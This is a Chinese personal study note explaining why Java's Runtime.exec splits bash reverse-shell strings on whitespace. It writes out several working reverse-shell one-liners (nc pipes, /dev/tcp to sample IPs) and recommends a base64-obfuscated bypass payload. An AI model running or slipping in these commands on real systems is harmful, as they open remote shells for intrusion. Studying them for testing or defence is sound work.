看到谢公子公众号推的一篇JDWP打点,看到如下形式的反弹shell,以前有记过。
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%
sh -i >& /dev/tcp/101.200.xx.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/101.200.xx.xx/4444 0>&1%
但是没理解,并且再看这篇推文的时候也有疑惑为什么没有用基础的bash反弹shell,搜索发现使用Java反弹shell不能直接这么用,平时直接用在线生成的Java反弹shell
Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
该文仅作为个人学习记录
bash -i >& /dev/tcp/ip/port 0>&1
nc IP 8888 | /bin/bash | nc IP 9999
8888端口输入命令,9999端口监听输出执行结果
将8888监听到的数据作为/bin/bash重定向输入,执行传回来的命令,然后再将执行结果作为输入重定向发送给监听主机的9999端口
究其原因,为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
还是因为exec的字符串分割问题
在spoock博文中有做具体分析,这里直接照搬exec的分析
在java.lang.Runtime()中存在多个重载的exec()方法,如下所示:
public Process exec(String command) public Process exec(String command, String[] envp) public Process exec(String command, String[] envp, File dir) public Process exec(String cmdarray[]) public Process exec(String[] cmdarray, String[] envp) public Process exec(String[] cmdarray, String[] envp, File dir)
除了常见的exec(String command)和exec(String cmdarray[]),其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])和exec(String command):
// exec(String command) 函数 public Process exec(String command) throws IOException { return exec(command, null, null); } ... public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } ... // exec(String cmdarray[]) public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); }
这里有可能看到不管是public Process exec(String command)还是public Process exec(String cmdarray[])最终都调用了public Process exec(String command, String[] envp, File dir),public Process exec(String[] cmdarray, String[] envp)这样的具体方法。
其中有一个函数StringTokenizer
StringTokenizer 通过分割符进行分割,java 默认的分隔符是空格("")、制表符(\t)、换行符(\n)、回车符(\r)
因此在传入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
会被拆分成如下形式
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
而我们执行r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
,执行到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1
因此为了绕过空格,这里直接推荐最放便的base64写法
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
https://blog.spoock.com/2018/11/07/java-reverse-shell/
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
https://paper.seebug.org/933/